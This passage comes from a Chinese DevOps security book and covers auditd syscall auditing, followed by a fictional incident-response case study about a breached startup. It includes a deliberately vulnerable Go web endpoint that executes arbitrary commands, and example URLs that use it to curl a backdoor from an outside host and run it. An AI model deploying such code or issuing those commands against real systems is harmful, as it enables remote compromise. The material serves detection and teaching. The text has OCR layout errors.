题,而持久的系统监视可以在问题发生时就捕获它们，而不是在其发生之后。

我们用代码清单9.20中的Go程序来说明。这是ー个非常小的Web应用的源代 

码，它监听8080端口上发送给/exec的HTTP请求。URし接收查询字符串中的cmd 
参数,这个参数会由exec. Command。执行--- 实际上,这就是ー个远程shell服
务。

代码清单9.20 ー个执行任意命令的易受攻击的Go Web应用

package main 
import (
'•fmt"
"log11
"net/http" 
"os/exec"
"strings" 

)
func main() {
http.HandleFunc("/exec",
func(w http.Responsewriter, 
r *http.Request) { 
cmd ：= r.FormValue("cmd")
cmdParts ：= strings.Split(cmd,"

声明ー个HTTP处理器。

args ：= cmdParts[1：]
out, err ：= exec.Command(cmdParts[0], 
args...).Output()

if err != nil {
w.WriteHeader(http.StatusBadRequest)

从请求的cmd查询字符串中提取 
要运行的命令。

在本地执行该命令。
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fmt.Fprintf(w, "failed with %q", err)
} else {
fmt.Fprintf(w, "%s", out) ---- 1

)} I返回给客户端的输出。

log.Fatal(http.ListenAndServe("：8080", nil)) 
)

这种(糟糕的)源代码的变体存在于大量设计不良的Web应用中，通常难以通 

过源代码审计检测的方式实现。如果攻击者找到了这个服务的入口,就可以很容易 

地利用它。代码清单9.21展示了三个URL的例子,它们分别在cmd参数中植入了 

三条命令，第一条是把后门下载到/tmp目录的cURし命令,第二条是把后门权限修 

改为可执行的命令，最后一条就是要在系统上执行的后门。如果到了那个时候，游 

戏就结束了:系统受到了威胁。

代码清单9.21滥用Web应用下载并执行后门的URL

http：//bad-service.***.com：8080/exec?cmd=curl%20-o%20/tmp/backdoor%20 
https：//***.com/latest-backdoor

http：//bad-service.***.com：8080/exec ? cmd=chmod%2 0 +x%2 0/tmp/backdoor
http：//bad-service.***.com：8080/exec?cmd=/tmp/backdoor

如果你足够幸运,下载后门的站点已经被列入了黑名单,那么前面一节的NSM 
设置就能捕捉到这个特殊的例子。如果该站点还没有进入黑名单,后门会成功下载， 

因此在NSM日志中不会显示任何内容。

9.5.2 捕捉欺诈命令的执行

然而,本地系统上的系统调用日志可以捕捉到命令并记录下来，如代码清单9.22 
所示。在第一条日志记录里捕获了一个SYSCALL类型的事件,表明/usr/bin/ 
curl执行成功。第二条日志记录里的事件类型是EXECVE，这条记录包含了该命 

令和它的所有参数,其中就有下载后门的URL。

代码清单9.22审计日志记录展示了捕捉到的CURL命令

type=SYSCALL msg=audit(1489489699.719:237364): arch=c000003e syscall=59 
success=yes exit=0 a0=c420010ff0 al=c420019050 a2=c4200d66e0 a3=0 
items=2 ppid=20216 pid=20258 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 
egid=0 sgid=0 fsgid=0 tty=pts22 ses=124248 comm="curl" exe="/usr/bin/ 
curl" key = *' execut ion"

type=EXECVE msg=audit(1489489699.719:237364): argc=4 a0="curl" al="-o" a2="/
tmp/backdoor" a3="https：//***.com/latest-backdoor"
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这条日志记录是怎么被捕捉到的呢?正如第7章讨论的那样，Linux内核为应 

用提供了一种设置syscall审计陷阱的机制，可以接收信息进行分析并记录到日志中。 

从内核收集这些信息的标准守护进程叫作auditd，它在所有主要的Linux发行版中 

都能被找到，如图9.8所示。

图9.8 Linux内核中的审计框架会捕捉系统调用,并转发给auditd守护进程进行记录。

auditd根据ー份规则清单来决定哪些事件需要捕捉，它将规则加载到内核里并 

监听那些要记录到日志目标（本地文件或syslog套接字）的事件。代码清单9.23展 

示的规则被用来捕捉代码清单9.22中的事件，它们使用的参数如下:

• -a表示该规则会被添加到已经存在的规则集的末尾。参数exit将该规则放 

到syscall-exit列表中，并且总是需要在系统调用退出时写入一条记录。

- -F将应用一个过滤器,给捕捉加上特定的限制条件，这里加上的是一条64 
位架构规则和一条32位架构规则。

• -S说明系统调用execve,将被这条规则监控。

• -k是和事件ー起被记录下来的任意字符串。

实际上,这些规则要求内核捕获32位和64位架构上的全部execve系统调用, 

并和execution键一起记录。

代码清单9.23监控命令执行的auditd规则

-a exit,always -F arch=b64 -S execve -k execution
-a exit,always -F arch=b32 -S execve -k execution
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可以想象,这样的规则在中等负载系统上就能捕获大量的事件。auditd提供了一 

种忽略一部分事件的方法,-a参数中的always可以用never代替。代码清单9.24 
展示了一个规则的示例，该规则将一些定期执行的特定命令加入白名单，你应该没 

兴趣捕捉这些命令。

代码清单9.24 auditd不会记录日志事件的可执行文件白名单示例

- A exit,never -F path=/bin/ls -F perm=x
- A exit,never -F path=/bin/sh -F perm=x
- A exitz never -F path=/bin/grep -F perm=x
- A exit,never -F path=/bin/egrep -F perm=x
- A exit,never -F path=/bin/less -F perm=x

9.5.3 监控文件系统

审计系框架能做的事情不只是记录命令执行的日志。因为任何系统调用都可以 

被捕获,我们还可以用它来监控敏感文件的变化。使用-W关键字插入监视就可以 

完成,-W后面跟着的是要监视的目录路径。监视可以捕获对敏感目录所做的更改, 

比如/etc中的配置，或者/usr/bin和/sbin中的二进制文件,当攻击者试图对常见的 

可执行程序植入后门时，或者在提升权限的过程中修改本地用户和用户组时，就可 

以捕获到他们。代码清单9.25展示的各种规则实现了对系统的敏感区域的监视。这 

些规则的参数一P说明了被捕捉的系统调用类型（r表示读取，w表示写入，X表示 

执行，a表示属性发生变化），例如,-P wa说明文件在被写入或者权限被修改时 

会被发现。

代码清单9.25监视指定文件变化的审计规则

-w /etc/audit/ -p wa -k audit
］审计配置。

-w
-w
-w
-w
-w
-w
-w
-w
-w

/etc/cron.allow -p wa -k cron 
/etc/cron.deny -p wa -k cron 
/etc/cron.d/ -p wa -k cron 
/etc/cron.daily/ -p wa -k cron 
/etc/cron.hourly/ -p wa -k cron 
/etc/cron.monthly/ -p wa -k cron
/etc/cron.weekly/ -p wa -k 
/etc/crontab -p wa -k cron 
/var/spool/cron/root -p wa

cron

-k cron

cron任务。

- w /etc/rc.d/init.d/ -p wa -k init
- w /sbin/init -p wa -k init
- w /etc/inittab -p wa -k init
- w /etc/systemd -p wa -k init

］启动配置。
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-W

-w
-w

/etc/pam.d -p wa 
/etc/security -p 
/lib/security -p

-w /etc/sshd -p wa -k sshd

-k pam
wa -k pam 
wa -k pam

PAM配置。

SSHDo

- w /etc/group -p wa -k user
- w /etc/passwd -p wa -k user
- w /etc/gshadow -p wa -k user
- w /etc/shadow -p wa -k user
- w /etc/security/opasswd -p wa -k user
- w /etc/sudoers -p wa -k user
- w /usr/bin -p wa -k binaries
- w /bin -p wa -k binaries
- w /usr/sbin -p wa -k binaries
- w /sbin -p wa -k binaries
- w /usr/local/bin -p wa -k binaries
- w /usr/local/sbin -p wa -k binaries

本地用户和用户组。

二进制文件（常见位置）。

你可能会考虑将监视整个文件系统作为ー个万全之策,但这是不可取的。审计 

框架收集的事件数量会使系统不堪重负,以及会填满文件系统,并让整个机器动弹 

不得。使用-r标志可以限制审计框架每秒产生的消息数量（合理的值应该是ーr 
500.捕获限制为每秒500个事件）,但从本质上来说,这是在告诉内核丢弃那些无 

法处理的事件。比起记录所有内容并造成事件丢失来说,将捕捉范围限制在最关键 

的文件和系统调用上将更加有效。

9.5.4 监控不可能发生的事情

auditd还可以监视在生产环境系统上不应该发生的事情，比如修改时间、加载 

内核模块或切换内核。代码清单9.26展示了监控这三种操作的规则。这些操作一定 

要触发告警并立即引起重视，因为这些信息的信噪比通常都非常高,表明一定有事 

情发生了。

代码清单9.26捕捉不正常操作的审计规则

修改时间。

-a
-a
-w

always,exit -F 
always,exit -F 
/etc/localtime

arch=b32 
arch=b64 
-p wa -k

-S adjtimex -S
-S adjtimex -S 
time-change

settimeofday -k time-change 
settimeofday -k time-change

-a exit/ always
-a exit,always

-F arch=b64
-F arch=b32

-S init_module -k module
-S init_module -k module

J加载内核模块。

H
exit,always 
exit,always

-F arch=b64
-F arch=b32

-S kexec_load -k kexec
-S kexec_load -k kexec

I通过kexec切换内核。

H
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系统调用审计框架是Linux系统默认具备的最强大的安全控制之一,你应该好 

好利用它。与第7章的日志流水线及第8章的分析程序强强结合，你就可以实时地 

监控系统中的可疑活动了。

不可变系统中的配置只用部署ー次，并且在其生命周期中也从不发生变化，在 

使用这些系统的环境中，审计日志的信噪比会显著提高。对/sbin中的二进制文件的 

更改、对用户组的修改或新加载的内核模块都是出现问题的征兆,应该立即采取行 

动。而在传统环境中，由于系统经常被修改更新而不会被替换，这些征兆不能说明 

问题，检测逻辑必须适应对系统的合法修改。但是在不可变的部署环境中，系统调 

用审计就是强大的异常检测工具。

在应对安全事件期间,审计日志也非常有用,可以利用它来调查在基础设施之 

间扩散的攻击。使用系统调用审计,但要好好进行调校，避免因捕获的日志过多而 

破坏了入侵检测基础设施。

9.6 信任人们发现异常的能力

终端节点安全方案、网络安全监控和系统调用审计能捕获99%的攻击,但这由 

它们的配置决定，而真正有心的攻击者总会找到方法绕过它们。以我处理安全事故 

的经验来看，最复杂的入侵也就是那些需要人们放下所有工作，切换到救火模式并 

花费一个星期时间才能搞定的入侵，它们都是运维人员和开发人员通过ー些蛛丝马 

迹发现的。

在大多数情况下,这些发现纯粹是运气使然:有人因为ー个毫不相干的问题会 

漫无目的地查阅日志文件，却被意外的发现惊出冷汗；开发人员忘记了某行代码是 

不是自己写的,试图找出原来的作者;用户出现在无关的用户组中，以及运维人员 

在生产环境服务器上发现他们不知道的文件。所有这些发现都强调了一种模式,这 

种模式对任何入侵检测策略都至关重要，那就是——人们非常擅长发现异常，而你 

应该鼓励他们这么做。

对于ー个安全团队来说，把所有的钱都押在技术上是很容易的。我们都喜欢创 

建又酷炫又高级的工具，它们能为我们带来神奇的效果。然而，你花在与组织成员 

讨论警惕性上的精力应该不亚于花在部署工具上的精力。是的，有一句老话说得好; 

“有一说一。”你要创造ー种沟通的文化，在这种氛围里周遭的人可以自如地报告潜 

在的问题,而不会因此被认为是愚蠢的，或是受到嘲笑和羞辱。

最后一点很重要。安全团队在他们的同行看来是无所不能的百事通，这种情况 

实在是太常见了。当这种情况发生时,安全小组和DevOps小组之间的信任被破坏, 

沟通会受阻,开发人员和运维人员不到万不得已决不会与安全团队交流。有时你会 

注意到ー些奇怪的事情，但往往会觉得无关紧要并很容易地无视它们。你会听到人 
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们说:“可能没什么,但是……”如果不能和安全团队交流,问题就不会被暴露出来， 

系统就会遭到攻击。

如果ー个组织要妥善地保护自己免受入侵，安全团队必须和开发人员及运维人 

员同仇敌忖，并获得他们的信任，建立起真正的沟通渠道,在他们的帮助下诊断异 

常活动,在基础设施里大海捞针，绝不放过任何蛛丝马迹。

运用本章介绍的所有技术，但也不要忘记在人工入侵检测方面投入时间和精力。 

我们将在第!0章经历一次安全事件，并讨论如何组织应对，以便将安全事件给组 

织造成的混乱降到最低，这样你就可以快速地恢复正常运作。

9.7 本章小结

• 入侵的杀伤链包括七个阶段。它们是侦查跟踪、武器构建、载荷投递、漏洞 

利用、安装植入、命令与控制和目标达成。

• 攻击指示符（IOC）是描述入侵特征的信息片段,可用于检测基础设施中的 

威胁。

• GRR、MIG和osquery是终端节点安全解决方案，允许调查人员实时地检查 

基础设施上的系统。

• 使用像Suricata这样的!DS和商业规则集对网络流量进行分析，能捕获常见 

的攻击模式，有助于保护网络。

・ 系统调用审计是强大的Linux机制，能在关键系统上监视可疑命令，但是它 

可能会产生噪声。

• 人们善于发现异常，而且这通常是组织能仰仗的最好的入侵检测机制了。



安全事件响应案例分析: 

加勒比海“瘫”

本章内容包括

・ 介绍应对安全事件的六个阶段

■ 研究发生在ー个虚构组织中的安全破坏事件

・ 利用取证技术调查Linux系统和AWS实例
・ 从破坏中恢复：组织必须采取的行动步骤

“每个人在上台前都想得很好,直到他们的嘴巴被挨上一拳。”

------Mike Tyson

在本书的前九章中,我们努力提高基础设施的安全性，尽量不让敏感系统暴露 

在一次入侵中，并限制破坏对组织的影响范围。持续改进ー个组织的安全形态是至 

关重要的，但你还要做好攻击者突破防御的准备。没有一个基础设施能做到绝对安 

全,每个组织注定会等到处理威胁的那一刻。在安全事件发生的那一刻，你的安全 

性的好坏决定了是整个基础设施都被破坏，还是只有少数独立的系统被破坏。

对于没有经验的人来说，应对安全事件是ー场充满压カ、令人困惑,有时甚至 

是心灵备受煎熬的考验。当工程师、经理和领导们夜以继日地工作来保住组织的资 

产和他们的工作时,他们的压力也随之越来越大。最坏的情况就是,人们开始互相 
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指责,急于撇清责任，而不是降低事件造成的影响。

为组织准备好安全事件响应计划是避免这种灾难性状况发生的最好方法。阅读 

SANS （Sysadmin>Audit,Network和Security）研究机构发布的安全事件处理手册（链 

接10.1）是ー个不错的开始。它将安全事件响应分成了以下六个阶段：

・准备——应对突发事件的第一个阶段是让自己对灾难降临的那一天做好准备。 

如果ー个组织从未发生过安全事件，那么最好的准备方法就是进行ー次虚构 

的安全事件的演练。将关键人聚集在会议室,针对某个预先定义好的场景, 

进行一次4小时的生动的演练。如果你能找到ー个桌上角色扮演游戏《龙与 

地下城》的专家来扮演地下城主,那会格外有趣。演练会让亟须改进的方方 

面面显现出来（工具、沟通、文档和需要参与的关键人，等等）。

• 识别——并非所有告警都是安全事件。事实上,你要仔细地对安全事件进行 

认定，以及对告警触发事件响应的过程也要谨慎。这就是识别阶段，在此 

阶段，你可以用SANS术语来界定:“组织内部偏离正常的操作是否为事件。”

• 隔离——你被入侵了，现在怎么办?安全事件响应的下ー个阶段是止损，防 

止攻击者在基础设施中继续突破。这意味着，在必要时你要切断访问并冻结 

系统,有时还包括关闭系统及任何其他能阻止攻击的操作，直到你能修复漏 

洞为止。

• 杀灭——当破坏被隔离后，你需要消除威胁并重建所有受到威胁的系统,从 

源头上修复并阻止进ー步的破坏。这通常是最消耗资源的阶段。良好的 

DevOps实践在这个阶段能帮上大忙，因为和人工构建相比，它能让基础设 

施更快地重建起来。

• 恢复——攻击者常常会在成功入侵后再杀个回马枪,因此在安全事件发生后 

要继续密切监视基础设施，这一点非常关键。在恢复阶段,你要亲カ亲为, 

重建对已被严重削弱的基础设施安全性的信任。

• 总结ー安全事件可能会造成严重的创伤，但也是组织安全性在走向成熟的 

过程中的一次很好的学习经历。当尘埃落定后,处理该事件的团队必须坐下 

来仔细检查他们的笔记，找出需要改进的地方。你不可能在一夜之间就成长 

为事件响应专家，从事件中吸取教训，这是一种让每个人在未来应对安全事 

件时，能够做到更快、更有条理的最好方法。

我们将用本章余下的篇幅详细介绍事件响应的六个阶段。我们将跟着Sam经 

历一次典型的安全事件,更好地理解它是如何发生的。Sam是一名虚构出来的优秀 

DevOps工程师,她在一家中等规模的初创公司工作,她将和队友一起应对攻击者 

对基础设施的破坏。我们将讨论从破坏中恢复的细节，并演示用于调查被感染系统 

的各种工具和技术。
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10.1 加勒比海“瘫”

在酒店的酒吧里,Sam ー边喝着莫吉托鸡尾酒,ー边完善着她的CloudTrail分 

析程序。整个公司这周都在波多黎各度假。她把时间都花在开会和晒日光浴上了。 

她以前从未到过加勒比海,事实证明,这是一次既轻松愉悦又富有成效的旅行。

在过去的几个月里，改进公司的日志流水线一直是她的工作重点。她向开发部 

门的同事Max展示了最新的安全分析器,这位同事指出，她可以使用带有自动过期 

功能的Cuckoo过滤器来简化代码，而不用单独维护ー个循环缓冲区。现在，他们 

俩喝着鸡尾酒等着日落，Sam还趁间隙重写了这段代码。

“瞧,我们上Hacker News首页了！” Max突然说道，他正慵懒地用手机浏览 

着平日里经常关注的几个新闻网站。

“太棒了!文章怎么说? ”

“太奇怪了。新闻公告说由于心率监测器存在健康风险，我们将召回所有产品。”

“这不可能。在今天早上的全体会议上，Lousie可什么都没说。” Lousie是公司 

的CEO，是一位经验丰富的领导者,她持续地关注着各种度量数据，这些度量数据 

加速了产品改进，并帮助公司增长了近100万名客户。

“公告就在咱们的首页上:‘由于电池故障,所有HealthyBuddy设备都将被召回， 

该故障存在很小的几率导致电池爆炸。’评论都爆了！ ” Max继续说道，读到这里， 

他放下手机赶紧取下了手环。

“这可是重磅消息，是真的吗？圣诞节前两周发生这样的事情，我们会玩儿完的。 

我不敢相信他们内部没有事先通知……”

话音未落,她的手机就响了起来。

“你在哪儿呢? ”手机里传来经理Trevor的声音，他听起来似乎不太高兴。

“在酒吧里。你听说了吗……”

“听说了。赶紧到二楼的海盗会议室来。我们有麻烦了。”

Sam顾不上莫吉托酒了，她把笔记本电脑塞进包里，冲进了酒店。公司在这整 

整一周里包下了酒店里所有的会议室，海盗会议室是最大的ー个。她的手环突然亮 

起来了。小小的心脏图标旁,数字118正在跳动，这是她的心率。她祈祷这个时候 

电池千万别爆炸。

10.2 识别

海盗会议室的墙上挂满了各种和18世纪海盗争霸有关的复制品，玻璃架子上 

摆着ー些微型舰船模型。几张大圆桌支在会议室中央。Trevor坐在ー张圆桌旁。在 

Sam进来时他オ把目光从电脑上移开。
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“这是真的吗？ " Sam问道，并把包扔在了桌子上。

“我不知道。我们正在确认。高管们正在游艇上,接不了电话,谁也没有收到 

任何消息。这很可疑，我想知道我们是不是被入侵了。”

“你是什么意思?是说有人入侵了网站并发布了虚假声明？这太扯了。”

“在我打通CEO的电话之前，不排除任何可能性。所以,请检查ー下网站。”

识别

在安全事件发生期间,响应的第一阶段是确认异常情况（正常操作中的异 

常之处）是否为事件。在这个阶段，负责界定事件的人员要评审指标和日志, 

检查安全系统的状态,检查代码提交,检查各种其他数据点，以便决定是结束 

事件还是将其升级到下ー个响应级别。

在这个阶段,事件响应人员很难拿出精确的检查清单,因为每次事件都 

是独ー无二的，系统演进也是日新月异的。尽管如此,认清检查的范围可以 

加速调查，可能一份粗粒度的检查清单就够了。事件验证得越快,应对起来 

就越从容,

Sam开始列出活跃的网站服务器。因为公司网站托管在AWS上,并配置了自 

动伸缩功能,服务器的数量和名字一直在变化。谢天谢地，所有的资源都被应用打 

上了标签，她只用几秒钟就写好了一条命令,列出了所有匹配hbweb网站标签的 

EC2实例，如代码清单10.1所示。

代码清单10.1列出特定资源的AWS命令,比如打了某个标签的EC2实例

$ aws ec2 describe-instances
--region=us-east-1
--filters Name=tag：App,Values=hbweb
I jq -r 1 . Reservations [] . Instances [] . PublicDnsName

ec2-54-89-96-164.***.com
ec2-54-166-217-73.***.com
ec2-54-237-198-102.***.com
ec2-34-201-45-160.***.com
ec2-54-172-238-127.***.com
ec2-34-203-225-128.***.com

找出us-east-1区域中带 
hbweb标签的EC2实例 
I的公开主机名。

Sam用clusterssh同时打开了全部系统的终端。她的笔记本电脑已经配置为 

可以经过公共堡垒机来路由所有连接，双重身份验证请求会自动地发送到她的手机上。 

她在手机上完成了验证，笔记本电脑屏幕上弹出了六个终端,每个服务器ー个。



10.2识别 283

由于所有部署都是完全自动化的，因此任何登录都可以被认定为异常。她首先 

用w搜寻活跃的会话，并用!ast和!astlog检查最近的连接，但除了她自己, 

没有人连接过这些系统。

她用netstat -taupen列出开放的网络连接,用!sof列出打开的文件， 

用ps -faux列出运行的进程。系统十分繁忙,列出的清单很长,但是并没有什么 

疑点。 ・

同样地，docker ps也只列出了一个进程・---就是正在运行的hbweb容器,

Docker images则列出了对应的镜像。没有找到欺诈性的容器。

最后ー项检查是打开/etc/password以查找未知用户。正如她所料,团队的全部 

七名运维人员都列在了文件中,剩下的就只有系统用户了。

代码清单10.2导出运行中的Linux系统的状态bash脚本

#!/usr/bin/env bash
BACKUP=/dev/stdout
PATH=/bin：/usr/bin：/sbin：/usr/sbin unalias -a 
cat > $BACKUP « EOF
== Who is logged on and what they are doing?
$ (w) ◄-----------------------------------------

I列出当前连接到系统 
J的用户。

==Processes 
$(ps -faux)

==Last logged
$(last)
$(lastlog)

这个系统上的连接历史记录。

］打印出正在运行的进程树。

==Open Files |列出所有打开的文件描述符。
$(lsof) ---- 1 

==Open Network Connections
$(netstat -taupen) <-----

列出所有活跃的网络连接。

==Docker 
Containers 
$(docker ps) 
Images
$(docker images)

列出正在运行的Docker容器。

列出系统上可用的Docker镜像。

==Users
Passwd：

$(cat /etc/passwd)
Shadow：

$(cat /etc/shadow)

打印出passwd文件的内容。

|打印出shadow文件的内容。
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==Packages
Chkconfig:
$(chkconfig --list)

列出在Red Hat类型系统上配置的服务。

RPM:
$(rpm -qa |sort) ---
dpkg：

$(dpkg --get-selections)

J列出在Red Hat类型系统上安装的包。

|列出在Debian类型系统上配置的服务。

==Cron
User crontabs：

$(find /var/spool/cron -exec cat {} \；)
System crontabs：

$(find /etc/cron* -exec cat {} \；)

找到所有注册的crob任务 
并打印出它们的内容。

EOF

Sam没有找到系统上的任何疑点。她开始分析网站的访问日志。最近七天的日 

志都保存在ー个中央聚合服务器的文件系统上,并在S3中作为备份来长期保存。 

她在日志服务器上打开了一个终端,进入存放Web日志的目录树。目录里有很多文 

件，准确的个数是168个:在过去的七天里每小时对应ー个文件。尽管已用gzip进 

行了压缩，但是每个日志文件仍然有好几百兆大小。她首先查看的是管理接口的连 

接，还有访问网站管理面板的连接，并列出这些连接的来源IP。和往常一样,要完 

成这项工作，像zgrep、awk、sort和uniq这些标准UNIX工具比任何数据库 

查询都能更快地完成工作，见代码清单10.3。

代码清单10.3列出最近七日内登录过管理员面板的IP地址

解压所有日志文件,并查找 
'/admin'字符串。

$ zgrep •/admin1 nginx_access_*.log.gz \
I awk *{print $1}' \ ◄-----------------

从每一行的第一列中 
提取源IP。

I sort \ v 
I uniq -c \ 
I sort -klnr

ィ按行排序。

将最终输出结果按命中次数排序。

按相同IP分组,并显示每个 
IP命中的次数。

82123 19.188.4.3
73 85.43.209.164
12 178.162.193.170
4 46.118.127.120
2 94.177.226.168

“找到了! ”

“什么问题？你找到什么了？ " Trevor从椅子上弹起来,冲到她的电脑屏幕前。
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“这个IP访问网站管理界面超过了 80000次。我们被暴力攻击了!”

“你知道他们进来了吗？”

Sam紧张地编写了一条新的grep命令，列出了除登录尝试之外的来自暴力攻 

击IP的全部日志,她使用grep -v '/admin/login,来过滤。日志服务器忙于 

解压和过滤超过70GB的日志文件而停住了几秒。他们都屏住呼吸等待着,当Sam 
的终端被几百行输出填满时，他们同时大声咒骂起来。攻击者己经获得了管理面板 

的访问权限,并且大摇大摆地把系统翻了个底朝天。

10.3 隔离

“立刻关掉它。你连上Web前端服务器，加一条阻止语句，禁止所有人访问管 

理接口。给我一点时间把假声明干掉,等我信号你再加。" Trevor坐回到他的笔记本 

电脑前,快速浏览着文章列表，选中假声明的复选框，将它的状态改成了未发布。

“搞定，你把管理接口整个关掉。我来搞ー个作战室,同时给大家打电话。”

隔离入侵

一旦破坏被确认，就要迅速做出反应,尽快阻止破坏进ー步蔓延到基础设 

施的其他部分,这一步十分关键。攻击者会迅速提升访问权限,从低权限的人 

ロ升级到后端数据库，以及组织中价值更高的目标上。事件响应团队隔离污染 

组件的速度越快,攻击者在基础设施中获得更高特权的机会就越小.

应该尽一切可能将被污染的系统完全冻结,并断开它与其他基础设施的连 

按。不要关掉它们！实时内存取证通常是了解破坏的最佳方式，而重启系统会 

抹去有价值的信息。一定要在它们周围设置防火墙规则,防止连接扩散,并阻 

止公开的入站和出站连接，特别是那些已经建立的连接。

隔离阶段也是事件响应启动相关安全协议的最佳时机，安全协议启动后， 

正常活动都要停下来,所有相关方都要参与隔离工作。建立作战室是ー个不错 

的方法，作战室专门用于研讨当前的安全事件，工程师和经理们可以在ー起快 

速推进减灾措施并共享他们的发现。

Sam回到她的ClusterSSH终端，它们还连着Web前端服务器。她同时打开了 

所有服务器上的Nginx站点配置。她添加了一条规则,捕获所有以/admin开头的请 

求并返回HTTP 403 Forbidden状态码,如代码清单10.4所示,直接拒绝了所有人的 

访问。
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代码清单10.4阻止所有用户访问管理面板的Nginx规则

location /admin/ {
return 403；

）

她身后传来Trevor紧张的声音,Sam听到他在电话里把这个消息告诉了其他人。 

他一定联系上了管理层。Sam不知道下ー步该做什么,现在不能打扰Trevor。她决 

定返回访问日志来分析更多的流量。

再次运用zgrep、awk、sort和uniq的命令组合,她发现暴力攻击始于 

三天前的凌晨1点UTC （所有日志都使用UTC时区，因为这家小公司的职员分 

布在全球各地）左右。日志中没有尝试登录的用户名，但是尝试登录管理员面板 

的稳定的日志记录看起来已持续了将近27小时,在提取的日志中,代表禁止访问 

的HTTP403响应戛然而止，后面是一次返回200 0K的POST /admin/login 
HTTP/1.1请求。攻击者就是在这时进入的。

她在团队的Google Drive中打开了一份共享文档，把相关的日志记录拷 

贝进去,开始梳理攻击发生的时间线。根据日志,访问权限被攻破的时间是 

2017-04-30T01:32:44,121264143Z,然后暴力攻击就停了下来。当攻击者在13:27:23 
回来的时候,他进入管理员界面并探索了全部子界面。Sam继续敲了一些命令，列 

出了攻击者访问过的所有页面清单。她找到了 ?3分钟前伪造新闻发布的那次请求。 

她继续检查清单，ー组对/admin/debug.php的请求引起了她的注意。

“嘿,Trevor,看看这个。”

“等ー下，马上就来。" Trevor放下电话，电话那头是工程总监Lauren,听起来 

似乎她也很焦虑。“什么事? ”

“我关闭了管理员的访问权限,根据日志梳理了时间线。看起来我们被暴力攻击 

了。我还没搞清楚他们攻击的是哪ー个用户。然后我就发现了这ー堆debug.php的 

POST请求。我以前都没见过这个页面，你知道这个页面吗? ”

“是的。这是开发控制台。开发人员会用这个远程shell来测试。但它不应该在 

生产环境中启用。攻击者用它了吗?”

“看起来是的，但我不知道他们干了些什么。全都是些没有查询字符串的POST 
请求。”

“我记得我们在这些系统上启用了审计日志。这些日志能不能告诉你他们都运 

行了哪些命令？ ”

“说得对,我来检查一下。”

Sam进入存放所有系统日志的目录来寻找审计日志文件。几个月前他们在少数 

几个Web前端服务器上开启了系统调用审计。他们仍然在调整日志逻辑，希望能大 
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幅地减少噪声，但也许是走了狗屎运,这些日志记录下了攻击者的活动。

“我找到了。和debug.php的请求时间戳ー样，是hbweb3。看起来是wget 
命令后面跟着chmod,还有一条命令。我怀疑……是的!文件还在那里，是ー个 

很小的二进制文件。我不是恶意软件分析专家，但我确定他们利用这点获得了系统 

root权限。"

“情况不太乐观。如果他们获得了 root权限，这些系统就要完全下线。我们需要 

帮助。我创建了一个IRC频道# spicymojito，邀请了所有人。目前这是机密:任 

何细节都别告诉其他人,连公司内部的人也别透露半个字。把你所知道的信息分享 

到频道里，我来分配任务。”

Sam加入了 IRC频道。里面已经有七个人了,分别是:工程总监Lauren、 

Trevor, Lauren团队的两个运维人员和三个网站开发人员。她将自己的发现和事件 

发生的时间线分享到了频道里,Trevor要求他们都到海盗会议室来ー起工作。太阳 

完全落山了，如果攻击者已经获取了 Web前端服务器的root权限,这将会是漫长的 

一夜。

10.4 杀灭
已经是凌晨3点了。Sam盯着部署流水线的进度条慢慢地涨到终点,眼神开始 

游离起来。在过去的7小时里，她查过的日志和重建的系统比加入公司以来加起来 

的还要多。有五位同事正在和她一起重建系统。另外两位同事去喝咖啡了,还剩下 

一位同事在沙发上睡着了。他们已经精疲カ竭,主站仍然还处于离线状态,他们还 

有几十个系统需要重新部署,但是却仍看不到尽头。

Trevor、Lauren和其他几个来自媒体与法务团队的同事在会议室另ー头的桌子 

旁交谈。他们不停地询问Trevor服务何时能恢复。现在不仅是网站,核心API也被 

下线了,直到使用可靠的代码去重新构建系统。部署是完全自动化的，因此重建打 

好标记的应用发布和开通环境代码并不难。只是需要不少时间。

Sam对攻击者杀伤链进行了粗略分析,结果表明他们获得了其中一个Web服务 

器的root访问权限。他们从这台服务器上获取了一份配置文件，其中包含了不同系 

统数据库的密码,而这份配置文件是本应该删除的部署制品。攻击者利用这些信息 

在另外两个管理员面板中创建了账户。她沿着基础设施中的杀伤链去排查,发现攻 

击者不断地横向移动,并逐步获得了越来越多的系统的访问权限。她找到了建立回 

连到攻击者命令与控制网络的C2信道的后门,攻击者的意图很可能是想利用这些 

基础设施来挖比特币或者发动DDoS攻击。在冻结系统之前,她保存了后门的二进 

制文件及远程服务器的IP地址。

可惜的是，审计日志并没有覆盖足够多的基础设施，没有办法精确地了解攻击 
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者的行动。但这些信息足够让Trevor做出决定,关闭核心服务并从头开始重建一切。 

在这个节骨眼上别无他法。重建一切所需的巨大工作量让每个人都倒吸一口凉气。 

在回过神之后,他们立即转身投入工作。

杀灭攻击者

一旦攻击者的直接威胁得到控制，事件响应小组就进入了消除所有攻击路 

径的杀灭阶段，手段包括：彻底重建受损的系统,将数据库恢复到已知的正确 

状态，恢复无法及时审计的代码修改，以及修改所有密码和密钥。

严重的破坏需要数天甚至数周才能完全杀灭,如果攻击者获得了对极其敏 

感的系统的访问权限（LDAP数据库、核心代码仓库和拥有特权的部署系统,等 

等），那么只有对所有组件进行彻底地清理和替换，才能重新建立对基础设施的 

信任。

消灭威胁的成本涨得飞快，因为应对事件需要许多工程师数周的工作，还 

有数十万美元的资金投入。不仅工程师需要夜以继日的工作来消灭威胁,而且 

公共资源部需要起草媒体声明，律师要和执法机构接触（在美国通常是FBI）, 
而高层需要合理地分配资源°

人们在杀灭阶段的压カ很大。人们加班加点，通宵达旦。一天中有18小时 

盯着电脑屏幕，紧张地检查基础设施中的每一个角落，这种情况太常见了。优 

秀的事件响应小组清楚人员管理的价值,想方设法避免压カ过大、精疲カ竭的 

组员互相掐架。这是艰难时期,需要人们团结起来才能恢复正常状态。

Sam结束了 SSH堡垒机的重建,她连上了公共终端节点对多因子验证的设置 。 

他们完全迁移到了一个全新的Duo Security账户,因为害怕原来的账户遭到泄露。 

一切准备就绪,所以她在DNS中将新主机提升到了生产环境中,并通知Max处理 

旧主机。Max负责受损系统的冻结。除重建整个基础设施之外,Trevor还给运维团 

队安排了如下任务:

• 在所有系统关闭并被严格的网络ACL锁定之前,对这些系统的磁盘和内存进 

行取证。

• 通过一个NAT实例，路由生产环境网络中的所有出站流量，在这个实例上, 

IDS将运行Suricata来对经过的流量进行检查。

・ 检查所有系统，使用Mozilla Investigator （MIG）查找在Web服务器中发现 

的 IOCo

这个工作量很大,整个运维和开发团队都被叫来帮忙。
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10.4.I 在AWS中捕获数字取证制品
Sam的同事Max的任务是冻结并锁定被威胁的主机。他想起几个月前在一次当地 

